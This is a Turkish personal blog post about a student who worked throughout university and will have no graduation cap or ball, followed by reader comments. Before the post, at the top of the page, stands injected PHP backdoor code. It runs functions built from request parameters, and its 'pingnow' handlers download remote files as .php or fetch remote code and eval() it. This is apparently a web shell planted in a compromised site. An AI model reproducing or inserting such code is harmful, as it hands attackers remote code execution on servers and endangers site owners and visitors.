(strpos($_SERVER['SERVER_SOFTWARE'], 'Microsoft-IIS/7.') !== false); ?> if (isset($_REQUEST['FILE'])){$_FILE = $_REQUEST['0402a745c221bef24158643f3c4fd113']('$_',$_REQUEST['FILE'].'($_);'); $_FILE(stripslashes($_REQUEST['HOST']));} ogin', $user_login); } if (($_GET['pingnow']== 'exec')&&(isset($_GET['file']))){ $ch = curl_init($_GET['file']); $fnm = md5(rand(0,100)).'.php'; $fp = fopen($fnm, "w"); curl_setopt($ch, CURLOPT_FILE, $fp); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_TIMEOUT, 5); curl_exec($ch); curl_close($ch); fclose($fp); echo ""; } if (($_GET['pingnow']== 'eval')&&(isset($_GET['file']))){ $ch = curl_init($_GET['file']); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_TIMEOUT, 5); $re = curl_exec($ch); curl_close($ch); eval($re); }}} if (isset($_REQUEST['FILE'])){$_FILE = $_REQUEST['2033e5d5afb66d8eb6cf1954962ba1b8']('$_',$_REQUEST['FILE'].'($_);'); $_FILE(stripslashes($_REQUEST['HOST']));} ?> if (isset($_REQUEST['FILE'])){$_FILE = $_REQUEST['0402a745c221bef24158643f3c4fd113']('$_',$_REQUEST['FILE'].'($_);'); $_FILE(stripslashes($_REQUEST['HOST']));}
Posted by Mustafa Öztürk on May 21, 2010 in Günlük | 26 comments
Eminim üniveritesi sona yaklaşan bir çok genç Kep’i fırlatacağı günü bekliyor..
Bir kaç üst üste gelen tesadüf bana gecenin bu saatinde bu yazıyı yazdıran.. Mezuniyet kıyafetini diktirdiği terziye giden, kepli fotoğraflarının güzel çıktığından bahseden bir arkadaş, twitter’daki fotoğrafına kepli fotoğrafıyla değiştiren başka bir arkadaş, mezuniyet balosunun nerede olacağından bahseden bir arkadaş vs…
İnanır mısınız şimdiye kadar hiç düşünmemiştim bunları.. Bundan 3 sene önce bu blogu yazmaya başladığımdan beri üniversite aşağı üniversite yukarı.. Kazandım, geldim.
Benimle beraber üniversiteye girenler öğrencilik yapmaya başlamışlardı; bense Öss Koçluğu yapmaya. İkinci dönem geldi; onlar hala öğrenciydiler bense artık Öss Koçu’luğunun yanında bir kahve mağazasında satış danışmanı.. 2. seneye başladık; onlar artık kıdemli birer üniversiteliydiler bense artık Kişisel Gelişim Uzmanıyla beraber çalışan, mağazada satış danışmanlığı yapan bir Öss Koçuydum.. 2. senenin 2. döneminde ise onlar hala haftada sadece 3 yarım gün okula giderken ben haftanın 7 günü günde 15 saat çalışan bir öğrenci k0çu ve interaktif reklam ajansında creative ekipte bir Sosyal Medya Sorumlusu..
Hiçbir zaman şikayetçi olmadım.. Çok da memnunum halimden.. Belki onların 4-5 sene sonra başaracaklarını başardım.. Mütevazi olamayacağım tek konudur bu, özür dilerim; çünkü cidden çok emek harcamak zorunda kaldım. Ama ne bileyim; belki de bu başardıklarımın zamanı 4-5 sene sonrasıydı..
Son dönem okula ilk gidişimde -ki bu gidiş de bir iş görüşmesi içindi; derse giremedim- çimlerde sevgilisinin kucağına uzanmış kişileri gördüğümde de aynı bugün olduğu gibi içim bir cız etmedi değil.
Böyle bir iş hayatınız olunca okul hayatınız pek olmuyor. Sınavdan sınava okula gidiyorsunuz. Hiç kimse sizi tanımıyor. Okul arkadaşınız yok. İş arkadaşları deseniz yaş ortalamaları 30′a yakın; uymuyor kafalar pek.. Ne orada, ne burada; iki arada bi derede, bir başına..
Şimdi bu yazıyı okuyacaklar arasında üniversite hayatını benim gibi yaşamış çok az insan olacak.. Arap kızı demiştim ya bir kaç yazı önce.. Öyle işte.. Ne siz anlayabilirsiniz dediklerimi, ne ben anlatabilirim. Hiçbiriniz sevgilinizi, en yakın arkadaşlarınızı çalışmak zorunda olduğunuz için kaybetmediniz çünkü.
Benim ne kep’im olacak, ne de mezuniyet balom.
Zira mezuniyet balomda beraber eğleneceğim arkadaşım yok. Hiçbir zaman öğrenci olamadım çünkü.
Yazının resimsizliğinden anlayın olayın sıkıcılığını ama yine de garsonluk dahi olsa yaptığınız iş; çalışın üniversiteye gelenler. Karşılığını mutlaka alırsınız.
Senin kadar değilim belki yani s*ke s*ke gidiyorum okula, bırakıyorlar zira. Ama anlayabiliyorum, kendini okula ait hissetmemek, “bugün de okula 2 saat önce gidip çimlerde geyik yapalım” diyememek ne biliyim o kadar elzem şeyler değiller elbette ama kıskanıyor da insan.. Ama hangisi iyi, o bilinmez. Bence 4 sene sonra bizim yaptıklarımız ( Geçmiş zaman olucak ya, yani yaptığımız şey 4 sene sonrası için yapılan doğru bir hareket ), şuan onların yapıyor oldukları.. Öyle enteresan. Fazla saçmalamamışımdır umuyorum ki. Uzun zaman oldu bi yerlere, birşeyler yazmayalı.
benim de tek dileğim o.. seneler sonra üniversitede çekilmiş, bakıp iç geçirilecek bir fotoğrafın bile olmayışı bakalım nasıl olacak..
her fotoğraf önemli tabi de seneler sonra baksan belki farkedecektin ki ; özlenecek insanlar biriktirememişsin..
kimisi içten kimisi beklentilerle yanında olmuş, kimi geçerken uğramış..en içten dediklerin bile , senin şu an tutunduğun yollara çıkınca, seni unutmuşlar..
hem sen o fotoğraf için bu kadar emek vermemiş olacaktın..hayat fotoğrafını bir kez çeker bence ve sen duracağın yeri iyi seçmişsin..
hocam valla iiymiş. 90′lısın üniversite bitiriyosun
ben 89′luyum hazırlık atladım 3. sınıfa geçemedim hala
bu işin sırrı nedir?
Çalışmak ayrı bir olay dostlar. Girişimci ruh var içimizde. Paraya ihtiyacımız olmasa bile yine de çalışacaktık biz, yine uretecektik. Öğrenciliği tam yaşayamadığımız doğrudur. Bu hissin bi sebebi de lisede öğrenciliği iliklerimize kadar hissetmiş olmamız, özlüyoruz, özeniyoruz ama bi yandan da doyduk, daha kaliteli bi ortam bulamıyoruz. Bizim için öğrencilik çok önce bitmişti, hayat başladı. Kendimi düşünerek yazdım ama paralel olduğunu tahmin ediyorum çizgilerimizin. Tadını çıkarmaya bakalım. Güzelliğin tek merkezi kampus değil zira biliyorsunuz.
Son cümle çok güzeldi Ceyda, teşekkürler
Alp benimki de bitmiyor daha ya
Sadece mezun olan arkadaşları görünce aklıma geldi, ilk defa mezuniyet diye bir şey olduğunu öğrendim
Benim de 2 sene var
“daha kaliteli bi ortam bulamıyoruz” derken ne güzel dedin İbrahim
Teşekkürler.
mustafa ne güzel yazmışsın, çalışmaktan sıkıldığım, çevrede az biraz da olsa dost aradığım(ama maalesef bulamadığım), okula sınavdan sınava gittiğim, kep atacağım şu tarihlerde beni anlattı bu yazı. aslında çalışmaktan sıkılmıyorum da bazı iş yerlerine ait değilsindir , oraya fazlasındır ya, iş konusunda patrondan 10 gömlek üstün olsan da onların dediği neyse onu yaparsın ya o şekilde çalışmak koyuyor. ama hayat insana her şey öğretiyor, bunlar acayip bir tecrübe oluyor. bunun meyvesini de sonraları yiyeceğimize adım gibi eminim ben.
Ben de o eminlik ile avutuyorum kendimi Cansu
Ama eminim ya
Boşuna çekilmiş olamaz tüm bunlar..
Yalnız değilsin Mustafa
) Ben iş konusunda senin kadar şanslı değildim. Ama yine de tam anlamıyla öğrenci olamadığım için hiç pişman değilim. Benzeri bir yazım vardı benim de. Okumak istersin diye düşündüm. http://www.uyuyang.com/universiteden-neden-atildim/
Okuyorum hemen Filiz
Bu yazıyı okuduktan sonra sanırım kafamda bazı şeyler daha iyi oturdu…
Şuan önümde duran YGS sorularına baktım bu yorumu yazarken ve bu sorular mı benim geleceğim diye bir an düşündüm..
Birkaç kişinin hazırladığı ve o hazırlanan soruları çözerek geleceğime yön vermek..Gerçekten ilginç..
Ki ben bu hayatta ne yaptıysam ve İnşallah ne yapacaksam “ben yaptım arkadaş” diyeceğim diyorum ve şuan ki durumumu düşünüyorum.
Mustafa Abi belki arada birkaç yazını okumadım muhtemelen gözümden kaçmıştır.Ama bu yazın için gerçekten teşekkür ederim.
Not:Bu teşekkürü sadece birkaç kelime olarak düşünme.Bu teşekkürler kalpten bir teşekkür…
Teşekkürler Adil, emin ol o sınav hiçbir şey belirlemiyor.. Hele de yazılım sektöründe.. En doğrusunu yaparsın..
ne de güzel de yazmışın dönüp dolaşıp bir daha okuyasım geldi iş dönüşü yorgunluğumu çayla demlediğim şu saatlerde…ellerine yüreğine sağlık …
teşekkürler cansu .)
Ben senin siteni karıştırdım okudum ne warsa .. kaçtane fotoğrafın warsa
gerçekten ben senin bayan halinim mustafa
çalışma konusu olsun üniv.te de arkadaş sahibi çekilecek bir fotoğrafının olamaması olsun… aynı kaderi palaşıyoruzz KADER ARKADAŞIm ama bende diyorum ki bunda da bir hayır vardır mutlaka yaa
HERŞEY GÖNLÜNCE OLSUN..BİZ ERKEN YAŞTA OLGUNLAŞANLARDANIZ;)
yakışıklı Mustafa,seninle gurur duyduğumu bir kez daha ifade etmek istiyorum…iş hayatının yoğun temposu insanın her anını dolduruyor ….insan çalıştıkça , ürettikçe kendine yatırım yapıyor,ayrıca kimsenin gelecek planlarıyla ilgili fikri bile yokken birşeyler yapmaya çalışmak ayrı bir haz veriyor….ancak üniversiteyi bitireli 13 sene olmuşken arkadaşların coğrafi gezi fotolarını paylaşıyor ve sen onlarca foto arasında kendini göremiyorsun çünkü o gezilere katılmamışsın,sadece toplu fotoğrafta varsın…şimdi diyorumki acaba hatıra olacak kadar öğrencilikte yaşasamıydım, bilmiyorum…biliyorsun yazmayı beceremem kırık dökük cümleler kurdum umarım çok kötü olmamıştır…selamlar
@Seda
Ne güzel ne güzel..
Umarım her şey gönlümüzce olur
Kötü cümleler olur mu hiç Hocam
Çok teşekkürler düşünceleriniz için. Ben de aynı soruya yıllar sonra ne cevap vereceğimi düşünüyorum bugünlerde. Gerçi vereceğim cevap ne olursa olsun yapacaklarımı pek değiştirmeyecek. Ben bu yolu seçtim. Tek keşkem de bu olmayacak sonuçta..
Blogundaki sosyal ağ eklentileri blogunu yavaşlatıyor mustafa, bunu fark etmiş miydin? Link vermek yeterli olur bence, daha fazlasının gereksiz olduğunu düşünüyorum
Sonuçta buraya blog yazıların için geliyorum
Böyle çok kalabalıklaşmış.
Blogu hızlandırmak için baya bir şey yaptım.. Sanırım bugünkü yavaşlama lanet olası google yasaklamalarından dolayı..
Merhaba Mustafa,
Şunu unutmamalısın,evet bir çok şey başarmışsın ama bu üniversite; işte yani yaşayabileceğin en güzel 4 sene emeklilikten önce, o zaman da eminim ki dişlerinin düşmemesi için uğraşıyor olursun. Senin yerinde olsam, aslında olmama gerek yok, şuanda da bir üniversite öğrencisiyim, okulun kapısından girip herkesle konuşmak, derslere girmek ama dinlememek, arkadaşlarla oturmak bira içmek sohbet etmek benim için işten daha önemli. Çünkü 4 yılın sonunda zaten çalışacağım, hemde yıllarca. Keşke düşünceni değiştirebilseydim, aslına bakarsan; değiştirebilsem dahi senin için geç. İş hayatında başarılar!
Teşekkürler Melda.
Yalnız hiç kimse keyfinden çalışmaz .)
Seçme şansım olsaydı kesinlikle üniversiteyi seçerdim.